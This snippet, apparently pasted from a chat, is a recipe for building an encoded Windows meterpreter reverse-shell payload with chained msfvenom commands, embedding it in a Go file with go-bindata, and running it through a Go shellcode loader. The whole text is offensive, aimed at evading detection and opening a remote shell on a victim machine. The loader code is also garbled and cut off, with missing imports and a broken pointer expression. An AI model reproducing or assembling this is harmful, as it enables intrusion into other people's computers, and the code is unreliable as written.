msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f raw -b '\x00' | msfvenom -e x86/xor_dynamic -i - -f raw -b '\x00' | msfvenom -a x86 --platform windows -e x86/countdown -i - -f raw --smallest -b '\x00' -o meterpreter_reverse.bin
====
go get -u github.com/go-bindata/go-bindata/...
===
go-bindata -pkg main -o shell.go meterpreter_reverse.bin
===
Jakub Nowak
2:41 PM
package main

import (
 "os/exec"
)

func run_shellcode(shellcode []byte) {
 if len(shellcode)%4 != 0 { // must be multiple of 4
  shellcode = append(shellcode, make([]byte, 4-len(shellcode)%4)...)
 }

 // Convert to []uintptr
 var shellcodePtrs []uintptr
 for i := 0; i < len(shellcode); i += 4 {
  shellcodePtrs = append(shellcodePtrs, *(*uintptr)(unsafe.Pointer(&shellcode;[i])))
 }

 syscall.Syscall(shellcodePtrs[0], 0, 0, 0, 0) // assuming that the shellcode begins with a valid address
}

func